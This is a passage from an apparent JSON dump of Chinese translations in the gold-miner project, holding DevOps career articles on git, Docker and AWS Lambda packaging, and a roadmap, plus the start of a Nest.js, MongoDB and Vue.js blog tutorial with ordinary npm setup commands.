git，才能自信地谈论正在发生的事情。\n\n至少，你应该精通如下：\n\n1. Fork 一个仓库\n2. 创建分支\n3. 合并两个不同的 commit\n4. 创建 Pull 请求\n\n现在，一旦您完成介绍性的 git 教程，请获取 [GitHub](https://help.github.com/) 帐户。\n\n注意：GitLab 也可以，但在撰写本文时，GitHub 是最流行的开源 git 存储库，因此您肯定希望和其他人分享。\n\n获得 GitHub 帐户后，开始为其提供代码！无论你学到什么，都需要你编写代码，请确保定期将它提交给 GitHub。\n\n这不仅可以灌输良好的源代码控制思想，还可以帮助您建立自己的个人品牌。\n\n注意：当你学习如何使用 git + GitHub 时，要特别注意 [Pull Requests](https://help.github.com/articles/about-pull-requests/)（也叫 PRs，如果你想变酷）。\n\n![](https://cdn-images-1.medium.com/max/800/0*E1Y3iKOJjkKiwcoa)\n\nPull Request, by [Vidar Nordli-Mathisen](https://unsplash.com/@vidarnm?utm_source=medium&utm_medium=referral)\n\n* * *\n\n品牌：向更广阔的世界展示您的能力的一种方式。\n\n这种方式（目前，更好的方式之一！）是建立一个 GitHub 账户，作为您的品牌代表。这些天几乎所有的面试官都会要求求职者有 GitHub 账户。\n\n因此，您应该努力拥有一个整洁、精心策划的 GitHub 帐户 — 您可以将其放在简历上并为此感到自豪。\n\n在后面的部分中，我们将讨论如何使用 [Hugo](https://gohugo.io/) 框架在 GitHub 上构建一个简单但酷炫的网站。现在，只需将代码放入 GitHub 即可。\n\n稍后，随着您的经验越来越丰富，您可能会考虑使用两个 GitHub 帐户。一个用于存储您编写的练习代码的个人资料，另一个用于存储您想要向其他人展示的代码。\n\n总结一下：\n\n* 学习 git\n* 将您学到的所有知识贡献给 GitHub\n* 利用＃1和＃2作为迄今为止所学到的所有知识的展示\n* 从中受益！\n\n最后，请记住这个领域的最新发展，例如 [GitOps](https://queue.acm.org/detail.cfm?ref=rss&id=3237207)。\n\nGitOps 将我们迄今为止讨论的所有想法提升到新的水平 — 一切都通过 git、pull requests 和管道的部署。\n\n请注意，GitOps 和类似的工具应用于**商业**方面的事情。具体来说，我们不是在使用像 git 之类的复杂东西，因为它们很酷。\n\n相反，我们使用 git 来实现业务敏捷性，加速创新并更快地交付功能 —— 这些都可以让我们的业务最终赚到更多钱！\n\n目前为止就这样了！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-4-package.md",
    "content": "> * 原文地址：[How To Become a DevOps Engineer In Six Months or Less, Part 4: Package](https://medium.com/@devfire/how-to-become-a-devops-engineer-in-six-months-or-less-part-4-package-47677ca2f058)\n> * 原文作者：[Igor Kantor](https://medium.com/@devfire?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-4-package.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-4-package.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[7Ethan](https://github.com/7Ethan)\n\n# 如何在六个月或更短的时间内成为 DevOps 工程师，第四部分：打包\n\n![](https://cdn-images-1.medium.com/max/1000/0*dUiEaJN0gcR_ZFd5)\n\n“Packages” 由 [chuttersnap](https://unsplash.com/@chuttersnap?utm_source=medium&utm_medium=referral) 拍摄并发表在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral) 上\n\n### 快速回顾\n\n在第 1 部分，我们聊了聊 DevOps 的文化和所需要的基础：\n\n* **[[译] 如何在六个月或更短的时间内成为 DevOps 工程师（系列文章第一篇）](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md)**\n\n在第 2 部分，我们讨论了如何为部署将来的代码奠定基础：\n\n* **[[译] 如何在六个月或更短的时间内成为 DevOps 工程师，第二部分：配置](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md)**\n\n在第 3 部分，我们探讨了如何组织部署代码：\n\n* **[[译] 如何在六个月或更短的时间内成为 DevOps 工程师，第三部分：版本控制](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-3-version.md)**\n\n这个部分，我们将说一说怎么打包你的代码以便于部署和后续执行。\n\n作为参考，这里是我们的旅程：\n\n![](https://cdn-images-1.medium.com/max/800/1*uTJj1toNrJRl9f6qxR73rQ.png)\n\n<center>打包</center>\n\n注意：你可以看到每一部分如何前一部分之上，并为后续部分奠定基础。这很重要并且是有目的的。\n\n原因是，无论你与现在的老板还是以后的老板交谈，你都得能清楚表达出什么是 DevOps 并且为何它这么重要。\n\n你通过讲述一个连贯的故事来做到这一点 —— 这个故事讲述了如何既好又快地把代码从开发者的笔记本电脑上发送到能赚钱的生产环境（prod）部署。\n\n因此，我们正在学习的并不是一堆割裂的、时髦的 DevOps 工具，我们正在学习的是一系列受业务需求驱动，由技术工具支持的技能。\n\n好了，哔哔够了，让我们开始吧！\n\n### 虚拟化入门\n\n还记得物理服务器吗？你必须等待几周才能获得 PO 批准，发货，数据中心接收，上架，联网，安装操作系统以及打补丁。\n\n是的，那些都是以前的方式。\n\n设想一下，假如获得住所的唯一方式是建造一座全新的房子。当我们需要一个住的地方的时候，那不是要等很长时间么？有点意思。然而每个人都有房子，但也不是真的因为建造房子需要很长时间。在这个类比中，物理服务器就像一个房子。\n\n然后人们对花了这么长的时间去做这堆事情感到恼火，有些非常聪明的人提出了 **虚拟化** 的想法：如何在一台单独的物理机上运行一堆伪装的“机器”，并让每台假机器伪装成一台真机。天才！\n\n所以，如果你真的想要一套房子，你可以建造你自己的并等待 6 周。或者你可以住在公寓楼里和其他租户共享资源。或许不是很棒但是足够好了。但是更重要的是，不需要等待！\n\n这种情况持续了一段时间，并且 VMWare 公司在这方面拥有了霸主地位。\n\n直到其他聪明的人认为将一堆虚拟机填充到物理机还不够好：我们需要压缩**更多**的程序以**更紧凑**的方式打包到**更少**的资源中。\n\n在这一点上，房子太贵了，公寓也太贵了。如果我们只需要暂时租用一间屋子呢？这太棒了，我可以随时出入！\n\n于是，Docker 应运而生。\n\n### Docker 的诞生\n\nDokcer 是新的但是 Docker 背后的**思想**是很古老的。一个叫 FreeBSD 的系统有一个 [jails](https://en.wikipedia.org/wiki/FreeBSD_jail) 的概念，其可回溯到 2000 年！诚然一切新的都是旧的。\n\n当时和现在的想法都是在同一个操作系统中隔离单个进程，即所谓的“操作系统级虚拟化”。\n\n注意：这和“完全虚拟化”不同，后者是在同一物理主机上并行运行虚拟机。\n\n这实际上意味着什么？\n\n实际上，这意味着 Docker 的兴起巧妙地反映着微服务的兴起 —— 一种软件工程的方法，其中软件被分解成多个独立的组件。\n\n并且这些组件需要一个家。单独部署他们，部署独立的 Java 应用程序或者二进制可执行文件非常痛苦：你管理 Java 应用程序的方式和管理 C++ 应用程序的方式不同，这和管理 Golang 应用程序的方式也是不同的。\n\n相反，Docker 提供单一的管理界面，让软件工程师以一致的方式打包（！）、部署、运行各种各样的应用程序。\n\n这是一个里程碑！\n\nOK，我们一起来聊聊 Docker 更多的好处。\n\n### Docker 的好处\n\n#### 进程隔离\n\nDocker 允许每个服务有完全的**进程隔离**。服务 A 和自己所有的依赖一起存在于自己的小容器之中，服务 B 也和自己的依赖存在于自己的容器中，而且二者没有冲突！\n\n此外，如果一个容器挂了，只有该容器会被影响。其余的（应该）将会继续愉快地运行着。\n\n这对于安全的好处也是显而易见的。如果容器被泄露，那么离开容器并破解宿主系统是非常困难的（并非不可能！）。\n\n最后，如果容器发生了故障（占用了太多的 CPU 或者内存），则可以仅仅将爆炸半径”包含“到该容器，而不会影响系统其它部分。\n\n#### 部署\n\n想想实际上如何构建不同的应用程序。\n\n如果它是一个 Python 应用程序，它会有各种各样的 Python 包。一些作为 **pip** 模块安装，另一些是 **rpm** 或者 **deb** 包，其它则是简单的 **git clone** 安装。或者使用 **virtualenv**，它将是 **virtualenv** 目录中所有的 zip 文件。\n\n另一方面，如果它是一个 Java 应用程序，他将用 gradle 构建，其所有依赖关系被拉取并放到适当的位置。\n\n你抓住了关键点。在将这些应用程序部署到 prod 环境中时，各种应用程序，使用不同语言和不同运行时（runtime）构建都是一项挑战。\n\n我们怎么样才能保持所有的依赖关系都满足呢？\n\n另外，如果存在冲突，问题会更加严重。如果服务 A 依赖于 Python 库 v1，但是服务 B 依赖 Python 库 v2 怎么办？现在存在冲突，因为 v1 和 v2 不能再同一台机器上共存。\n\n选择 Docker。\n\nDocker 不仅允许完全**进程隔离**，还允许完全的**依赖隔离**。在同一个操作系统上并排运行多个容器是完全可行并常见的，每个容器都有自己冲突着的库和包。\n\n#### 运行时管理\n\n同样，我们管理不同应用程序的方式因应用程序而异。Java 代码的日志记录方式不同，启动方式不同，监控方式和 Python 不同，Python 和 GoLang 等也不同。\n\n通过 Docker，我们得到了一个统一的管理界面，允许我们启动、监控、收集日志、停止和重启多种不同类型的应用程序。\n\n这是一个里程碑，并大大降低了运行生产系统的运营开销。\n\n### 选择 Lambda\n\n伴随着 Docker 的伟大，它也有缺点。\n\n首先，Docker 仍在运行服务器上。服务器很脆弱，必须对它们进行管理，修补和其他方面的保护。\n\n其次，没有人按照原样运行 Docker（译者注：这里的意思应该指的是并没有完全像前面提到的完全进程隔离，不相互影响之意）。相反，它几乎总是作为复杂容器编排结构的一部分进行部署。例如 Kubernetes、ECS、**docker-swarm** 或者 Nomad。这些是相当复杂的平台，需要专门的人员来操作（稍后将详细介绍这些解决方案）。\n\n但是，如果我是开发人员，我只想编写代码并让其他人为我运行它。Docker、Kubernetes 和所有的这些”爵士乐“都不是简单易学的东西 —— 我真的需要吗？\n\n简而言之，这取决于！\n\n对于那些只是想让其他人运行他们的代码的人，[AWS Lambda](https://aws.amazon.com/lambda/)（或者类似的解决方案）是问题的答案：\n\n> AWS Lambda 允许你在不配置或者管理服务器的情况下运行代码。你只需要为你消耗的计算时间付费 —— 当你的代码未运行时不收取任何费用。\n\n如果你听说过整个 ”serverless“ 运动，那就是它。不再需要运行着的服务器或者要管理的容器。只需要编写代码，将其打包成 zip 文件，上传到 Amazon 并且让他们处理头痛（的运维）！\n\n此外，由于 Lambda 非常短暂，没有什么可以破解的 —— Lambda 在设计上非常安全。\n\n太棒了，不是吗？\n\n但是（惊不惊喜！）有警告。\n\n首先，Lambda 最多只能运行 15 分钟（截止 2018 年 11 月）。这意味着长时间运行的进程，如 Kafka consumers 或者数字运算应用程序无法在 Lambda 中运行。\n\n其次，Lambda 是功能即服务（Function-as-a-Service），这意味着你的应用程序必须完全分解成微服务，并且和其他复杂的 PaaS 服务协调，如 [AWS Step Functions](https://aws.amazon.com/step-functions/)。并非每个企业都处于这种微服务架构的水平。\n\n第三，对于 Lambda 进行故障排除很困难。他们是在云原生（cloud-native）运行时，所有的错误修复都发生在 Amazon 生态系统中。这通常具有挑战性且不直观。\n\n简言之，没有免费的午餐。\n\n注意：现在还有 ”serverless“ 的云容器解决方案。[AWS Fargate](https://aws.amazon.com/fargate/) 就是这样的方法。但是，我忽略了这一点。因为这些往往相当昂贵并且使用要小心。\n\n### 总结\n\nDocker 和 Lambda 是打包、运行和管理生产应用程序的两种最流行的现代云原生方法。\n\n他们通常是互补的，每种都适用于略有不同的场景和应用程序。\n\n无论如何，现代 DevOps 工程师必须精通两者。因此，学习 Docker 和 Lambda 是很好的短期和中期目标。\n\n注意：到目前为止，在我们的系列中，我们已经涉及了初级到中级 DevOps 工程师都应该知道的主题。在后续章节中，我们将讨论更适合中级到高级 DevOps 工程师的技术。但是，和往常一样，没有捷径可言！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md",
    "content": "> * 原文地址：[How To Become a DevOps Engineer In Six Months or Less](https://medium.com/@devfire/how-to-become-a-devops-engineer-in-six-months-or-less-366097df7737)\n> * 原文作者：[Igor Kantor](https://medium.com/@devfire?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less.md)\n> * 译者：[临书](https://github.com/tmpbook)\n> * 校对者：[jianboy](https://github.com/jianboy)\n\n# 如何在六个月或更短的时间内成为 DevOps 工程师\n\n![](https://cdn-images-1.medium.com/max/1000/0*StLXK67qSOoUwyCM.)\n\n『空旷的高速公路横穿多彩的沙漠』— 由 [Johannes Plenio](https://unsplash.com/@jplenio?utm_source=medium&utm_medium=referral) 发布在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)。\n\n**注：这是系列文章的第一部分。**\n\n**第二部分在[这里](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure.md)。**\n\n### 目标受众\n\n你是一名希望将职业生涯转向更契合 DevOps 模式的开发人员吗？\n\n你是一位经验丰富的运维人员吗，你想要了解整个 DevOps 生态吗？\n\n或者你都不是，你只是寻求职业生涯的改变却不知道从哪里开始？如果是这样，请往下阅读！\n\n最后，如果你已经有了多年的 DevOps 经验，你也可能从文章中获取有用的信息，比如验证自己的位置和发展方向。\n\n### DevOps 是什么？\n\n首先，什么是 DevOps？\n\n你可以谷歌一下它的定义，不过大多数都是一些冗长的包含很多空话的连续字段。（看下面我做了什么？）\n\n那么，我帮你搜索好了并将它的定义摘录下来：\n\n> DevOps 是一种痛苦与职责交织的软件交付方式。\n\n就这样。\n\n好吧，所以**这**到底是什么意思？\n\n在传统意义上，开发人员（开发软件的人）的与运维人员（维护软件的人）的职责不大相同。\n\n例如，作为一名开发人员，我要尽可能快的开发**更多**的新功能。毕竟这是我的工作，也是客户的需求！\n\n然而，如果我是一名运维人员，我可能不希望有太多的新特性，因为每个新特性都意味着一次变更，而每次变更都是有风险的。\n\n由于这种两种激励机制的冲突，DevOps 诞生了。\n\nDevOps 试图将开发人员（Dev）和运维人员（Ops）融合到一个组中。我们的想法是：这样可以在同组内消化面向用户软件的研发、部署和完成绩效等所有痛苦和职责（可能还有奖励）。\n\n此时，纯粹主义者会告诉你：『没有「DevOps 工程师」这个东西，DevOps 是一种文化，而非角色』。\n\n是的，它在理论上是正确的（最糟糕的那种正确！），但是正如经常发生的那样，这已经超越了它本来的含义。\n\n现在，成为 DevOps 工程师就像成为『系统工程师 2.0』。\n\n换句话来说，DevOps 工程师就是一种既了解软件生命周期，也可以开发出面向开发者的工具，还能推进解决经典运维难题的人。\n\n> DevOps 最终意味着构建数字化管道，从开发人员的笔记本电脑上的代码，到生产环境部署直至产生收益，这令人敬畏！\n\n这就是它的一切！\n\n另请注意，作为一种职业选择，整个 DevOps 行业有很高的报酬，几乎每个公司都会有 DevOps 职位，或者声称将会有。\n\n无论哪儿的公司，DevOps 的工作机会都非常多，会在未来几年内提供有趣、有意义的工作机会。\n\n注意：警惕聘用『DevOps 团队』或者『DevOps 部门』的公司。严格的来说，这种情况是不会发生的，因为 DevOps 最终是关于文化和软件交付方式的，并**不是**要配备新的团队或者部门。\n\n### 放弃\n\n现在，让我们把 Kool-Aid 的杯子放到一边，考虑以下几点：\n\n你有没有听过这句老话，『不存在初级的 DevOps 工程师吗？』\n\n如果没有，请知晓它是 Reddit 和 StackOverflow 上的一种流行比喻。但是这是什么意思呢？\n\n简而言之，这意味着它需要多年的经验，并结合对工具的扎实理解，才能最终成为真正的高级 DevOps 从业者。然而遗憾的是，经验的获取没有捷径。\n\n所以，不要尝试在这个行业行骗，我认为只有几个月的经验是不可能假装成高级 DevOps 工程师的。对快速迭代的工具和方法，需要数年才能深刻理解，而且没有捷径。\n\n然而，大多数公司一般都会使用一些主流的（最新的，如果你愿意）工具和概念，这就是本文的全部主题！\n\n同样，因为工具和技能不同，在学习工具时，请确保不要忽视自己的技能（面试、网络、书面沟通和故障排除等）\n\n最重要的是，不要忘记我们追求的目标 — **构建一个全自动的数字管道，将想法转化为可以创造收入的代码。**\n\n这是整篇文章中唯一重要的内容！\n\n### 说的够多了，我们应该如何开始做？\n\n以下是你的路线图。\n\n掌握以下内容，你可以安心的称自己为 DevOps 工程师！或者云工程师 — 如果你讨厌『DevOps』这个称呼。\n\n下面的图代表我（也可能是这个领域工作的大多数人）的想法，是关于一个 DevOps 工程师应该了解什么。也就是说，这只是一种建议，肯定会有不同的声音，这并没有什么问题，我们不追求完美，我们是在建立坚实的基础。\n\n注意：你应该使用广度优先的方式浏览，先从基础开始（并坚持下去！）。首先学习蓝色标记的技术（Linux | Python | AWS），然后如果时间允许或者就业市场有需求，继续学习紫色标记的技术（Golang | Google Cloud）。\n\n译者注：AWS 和 Google Cloud 技能可以理解为国内的腾讯云、阿里云。\n\n![](https://cdn-images-1.medium.com/max/800/1*GNxucS4v93-XdnD5-vWB_w.png)\n\nDevOps 基础知识\n\n还有，如果时间允许，在掌握第一层基础之后，请继续学习它的下一层，以增加你的专业知识深度。\n\n一旦你弄懂了基础层面的东西，可以开始转去解决实际问题了：\n\n![](https://cdn-images-1.medium.com/max/1000/1*yjU_IVVZRQ1oXtnxAuGUhQ.png)\n\n现实世界的技能\n\n注意：上面的技能管道缺少了测试 — 编写测试用例，这是故意的 - 编写集成和验收测试用例并不容易，这通常是开发人员承担的工作。故意遗漏『测试』阶段是因为该学习路线图的目标是快速获取新技能与工具。笔者认为缺乏测试专业知识只是成为 DevOps 的一个微不足道的障碍。\n\n还有，请记住，我们不是在这里学习一堆无关的技术吐槽。我们需要对完整的工具链有深刻的理解，要将这些工具结合在一起，讲述一个连贯的故事。\n\n这个故事是**端到端的流程自动化 — 一种可以像装配流水线一样改动的数字管道。**\n\n而且，你一定也不想学一堆工具然后止步不前，工具更新换代很快，概念则不是。因此，你要做的是使用工具作为代表去学习更高级别的概念，而不是学习工具的使用。\n\n好的，让我们再深挖一点！\n\n### 基础知识\n\n在标有『基础』知识的基线下，你将看到每个 DevOps 工程师必须掌握的技能。\n\n在这里，你将看到行业中主导的三大支柱：操作系统，编程语言，公有云。这些不是你很快能学会的东西，在列表中查看，然后继续前进。为了保持对技能的熟悉和不过时，你必须持续的学习并对其保持敏锐。\n\n让我们一个接一个看看。\n\nLinux：可以运行一切的系统。现如今，你能成为一名完全生存于 Microsoft 生态中的出色 DevOps 从业者吗？当然可以！没有规定要求 Linux 包含所有生态。\n\n然而！请注意，虽然所有的 _DevOps-y_ 事情确实可以用 Windows 来完成，但这个过程更加痛苦，而且工作机会要少的多。现在，你可以放心的认为在不了解 Linux 的情况下无法成为真正的 DevOps 专业人员。因此，Linux 是你必须学习和不断学习的东西。\n\n诚然，最好的方法是在家里的电脑安装 Linux（Fedora 或者 Ubuntu）并尽可能多的使用它。你会解决一些问题，或者你会陷入困境，然后你将不得不解决所有问题，在这个过程中，你将学会 Linux！\n\n作为参考，在北美，Red Hat（红帽）的变种更为普遍，因此，从 [Fedora](https://spins.fedoraproject.org/kde/download/index.html) 或 [CentOS](https://www.centos.org/download/) 开始学习是有道理的。如果你在犹豫使用 KDE 或 Gnome 哪种桌面环境，请使用 KDE。Linux Torvalds（译者注：linux 之父）在使用。:)\n\nPython：如今最主流的后端语言。易上手，使用广泛。红利：Python 在 AI/机器学习领域的使用非常广泛，所以如果你想要转战其它热门领域，路已经铺好了。\n\n亚马逊网络服务：再强调一次，没有充分了解公有云的运作方式，不可能成为一名经验丰富的 DevOps 专业人士。如果你想了解云知识，亚马逊网络服务是这一领域的主导者，它提供了最丰富的工具集。\n\n是否可以从 Google Cloud 或 Azure 开始？当然可以！但是我们追求的是利益最大化，所以 AWS 是成功概率最大的，至少在 2018 年。\n\n在 AWS 注册账户可以获得一些免费的套餐优惠，所以这是一个很好的起点。\n\n现在，当你登录 [AWS 控制台](https://aws.amazon.com/)时，你会看到一个简单易懂的选项菜单。\n\n![](https://cdn-images-1.medium.com/max/800/0*mbMm7PT2bLCcr_Fd.)\n\n『发现另一个我从未知晓的 AWS 功能』，由 [Tom Pumford](https://unsplash.com/@tompumford?utm_source=medium&utm_medium=referral) 发布在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)。\n\n那是一句讽刺。好消息是，你不需要了解每一个亚马逊技术。\n\n从下面几个开始：VPC，EC2，IAM，S3，CloudWatch，ELB（在 EC2 的保护伞之下）还有安全组。这些东西可以帮助你入门，每个现代的，支持云的企业都会大量使用这些工具。\n\nAWS 自己的培训[网站](https://www.aws.training/?src=training)是一个很好的起点。\n\n我建议你每天流出 20-30 分钟来练习 Python，Liunx 还有 AWS。\n\n注意：这将是必须要学习的**附加**内容。总而言之，我估计每天花费一个小时，每周五次就足以让你在 6 个月或者更短的时间内充分了解 DevOps 行业的情况。\n\n这就是基础层！\n\n在随后的文章中，我们将讨论下一级的复杂的东西：如何完全以自动化的方式[配置](https://medium.com/@devfire/how-to-become-a-devops-engineer-in-six-months-or-less-part-2-configure-a2dfc11f6f7d)，管理版本、管理包、部署、运行和监控软件！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-a-blog-with-nest-js-mongodb-and-vue-js.md",
    "content": "> * 原文地址：[How To Build a Blog with Nest.js, MongoDB, and Vue.js](https://www.digitalocean.com/community/tutorials/how-to-build-a-blog-with-nest-js-mongodb-and-vue-js)\n> * 原文作者：[Oluyemi Olususi](https://www.digitalocean.com/community/users/yemiwebby)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-blog-with-nest-js-mongodb-and-vue-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-a-blog-with-nest-js-mongodb-and-vue-js.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[vitoxli](https://github.com/vitoxli)，[lihaobhsfer](https://github.com/lihaobhsfer)\n\n# 如何用 Nest.js、MongoDB 和 Vue.js 搭建一个博客\n\n## 概述\n\n[Nest.js](https://nestjs.com/) 是一个可扩展的服务端 JavaScript 框架。它使用 TypeScript 构建，所以它依然与 JavaScript 兼容，这使得它成为构建高效可靠的后端应用的有效工具。它还具有模块化结构，可为 Node.js 开发环境提供一个成熟的结构化的设计模式。\n\n[Vue.js](https://vuejs.org/) 是用于构建用户界面的前端 JavaScript 框架。它不仅有简单但功能强大的 API，还具有出色的性能。Vue.js 能提供任意项目规模的 Web 应用的前端层和逻辑。它可以轻松地将自身与其他库或现有项目集成在一起，这使得它成为大多数现代 Web 应用的理想选择。\n\n在本教程中，我们将通过构建一个 Nest.js 应用，来熟悉它的构建模块以及构建现代 Web 应用的基本原则。我们会将应用划分为两个不同的部分：前端和后端。首先，我们将使用 Nest.js 来构建的 RESTful 后端 API。然后，将使用 Vue.js 来构建前端。其中前后端的应用将在不同的端口上运行，并将作为独立的域运行。\n\n我们将构建的是一个博客应用，用户可以使用该应用创建和保存新文章，在主页上查看保存的文章，以及进行其他操作，例如编辑和删除文章。此外，我们还会连接应用并将应用数据持久化到 [MongoDB](https://www.mongodb.com/) 中，MongoDB 是一种无模式（schema-less）的 NoSQL 数据库，可以接收和存储 JSON 文件。本教程的重点是介绍如何在开发环境中构建应用。如果是在生产环境，我们还应该考虑应用的用户身份验证。\n\n## 前提\n\n要完成本教程，我们需要：\n\n* 在本地安装 [Node.js](https://nodejs.org/en/)（至少 v6 版本）和 [npm](https://www.npmjs.com/)（至少 v5.2 版本）。Node.js 是一个允许您在浏览器之外运行 JavaScript 代码的运行环境。它带有一个名为 `npm` 的预安装的包管理工具,可让您安装和更新软件包。如果要在 macOS 或 Ubuntu 18.04 上安装它们，请遵循文章[如何在 macOS 上安装 Node.js 并创建本地开发环境](https://www.digitalocean.com/community/tutorials/how-to-install-node-js-and-create-a-local-development-environment-on-macos)中的步骤或者文章[如何在 Ubuntu 18.04 上安装 Node.js](https://www.digitalocean.com/community/tutorials/how-to-install-node-js-on-ubuntu-18-04)中的“使用 PPA 进行安装”这一节。\n* 在您的机器上安装 MongoDB 数据库。按照[这里](https://www.mongodb.com/download-center/community)的说明来下载并安装您操作系统所对应的版本。您可以通过在 [Mac](https://docs.mongodb.com/manual/tutorial/install-mongodb-on-os-x/?_ga=2.44532076.918654254.1550698665-2018226388.1550698665#create-the-data-directory) 上使用 [Homebrew](https://brew.sh/) 进行安装，也可以从 [MongoDB 网站](https://www.mongodb.com/download-center/community)下载。\n* 对 TypeScript 和 [JavaScript](https://www.digitalocean.com/community/tutorial_series/how-to-code-in-javascript) 有基本了解。\n* 安装文本编辑器，例如 [Visual Studio Code](https://code.visualstudio.com/)、[Atom](https://atom.io) 或者 [Sublime Text](https://www.sublimetext.com)。\n\n**注意：** 本教程使用 macOS 机器进行开发。如果您正在使用其他的操作系统，可能需要在整个教程中使用 `sudo` 来执行 `npm` 命令。\n\n## 第一步 —— 安装 Nest.js 和其他依赖\n\n在本节中，我们先在本地安装 Nest.js 及其所需依赖。您可以使用 Nest.js 提供的 [CLI](https://docs.nestjs.com/cli/overview) 轻松地安装 Nest.js，也可以从 GitHub 上的入门项目安装。就本教程而言，我们将使用 CLI 来初始化应用。首先，在终端运行以下命令，以便在您的机器上全局安装它：\n\n```sh\nnpm i -g @nestjs/cli\n```\n\n您将看到类似于以下内容的输出：\n\n```\nOutput@nestjs/cli@5.8.0\nadded 220 packages from 163 contributors in 49.104s\n```\n\n要确认已完成 Nest CLI 的安装，请在终端上运行此命令：\n\n```sh\nnest --version\n```\n\n您将看到安装在您计算机上的 Nest 版本：\n\n```\nOutput5.8.0\n```\n\n我们将使用 `nest` 命令来管理项目，并使用它来生成相关文件 —— 比如 controller、modules 和 provider。\n\n要开始本教程的项目，请在终端中使用 `nest` 命令运行以下命令行来构建名为 `blog-backend` 的新 Nest.js 项目：\n\n```sh\nnest new blog-backend\n```\n\n在运行该命令之后，`nest` 将立即向您提供一些基本信息，如`描述（description）`、`版本（version）`和`作者（author）`。继续并提供适当的细节。在您回答了每个提示之后，在您的计算机上按`回车`继续。\n\n接下来，我们将选择一个包管理器。就本教程而言，选择 `npm` 并按`回车键`开始安装 Nest.js。\n\n![Alt 创建一个 Nest 项目](https://assets.digitalocean.com/articles/nest_vue_mongo/step1a.png)\n\n这将在本地开发文件夹中的 `blog-backend` 文件夹中生成一个新的 Nest.js 项目。\n\n接下来，从终端导航到新的项目文件夹：\n\n```sh\ncd blog-backend\n```\n\n运行以下命令以安装其他服务依赖项：\n\n```sh\nnpm install --save @nestjs/mongoose mongoose\n```\n\n这时，我们已经安装了 `@nestjs/mongoose` 和 `mongoose`，前者是一个用于 